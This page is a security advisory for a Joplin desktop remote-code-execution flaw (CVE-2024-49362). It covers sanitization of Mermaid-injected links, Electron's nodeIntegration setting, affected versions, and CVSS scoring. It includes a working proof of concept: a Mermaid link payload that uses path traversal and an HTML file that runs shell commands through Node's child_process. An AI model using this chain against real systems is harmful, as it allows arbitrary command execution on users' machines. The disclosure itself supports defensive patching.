High

Remote Code Execution on click of <a> Link in markdown preview

  • Disclosed: 14.11.2024
  • Updated: 11.10.2026 10:22

Summary

There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.

Details

In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a> tags with data-from-md attributes, which will then be opened internally in the same Electron window.

Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.

Relevant code references:

  • Payload to inject <a> with data-from-md attribute:
markdown
```mermaid
flowchart TD
    A[<a href="https://attacker.com" data-from-md>hello</a>]
```
  • Handling link navigation in the markdown preview iframe

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116

  • Window configuration of Joplin window

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155

PoC

Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):

  • poc.md
markdown
```mermaid
flowchart TD
    A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
  • poc2.html
js
<html>
  <body>
    <script>
      if (typeof window.parent.require !== 'undefined') {
        const { exec } = window.parent.require('child_process');
        exec('ls -al', (err, stdout, stderr) => {
          if (err) {
            document.body.innerText = `Error: ${err.message}`;
            return;
          }
          if (stderr) {
            document.body.innerText = `Stderr: ${stderr}`;
            return;
          }
          document.body.innerText = stdout;
        });
      } else {
        document.body.innerText = 'Require is not available in this environment.';
      }
    </script>
  </body>
</html>

Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.

result

Impact

This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package joplin >= 3.0.0, < 3.1.0 3.1.0

References

CVSS score 7.7/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
Weakness (CWE)
CWE-94
Platform
npm
Package
joplin
Disclosed
14.11.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-hff8-hjwv-j9q7 - CC BY 4.0

Vulnerability history: joplin

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (14) in the archive
Total entries
14
First → latest
10.2020 11.2024
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 2
  • Medium 10

Disclosures per year

  1. 2020: 1
  2. 2021: 3
  3. 2022: 6
  4. 2023: 3
  5. 2024: 1
  6. 2025: 0
  7. 2026: 0
Severity:
  1. Remote Code Execution on click of <a> Link in markdown preview this entry
    High · 7.7 CVE-2024-49362 >= 3.0.0, < 3.1.0 3.1.0
  2. High · 7.8 CVE-2022-40277 <= 2.8.8 no fix
  3. Critical · 9.0 CVE-2022-35131 < 2.9.1 2.9.1
  4. Critical · 9.8 CVE-2022-23340 < 2.7.1 2.7.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.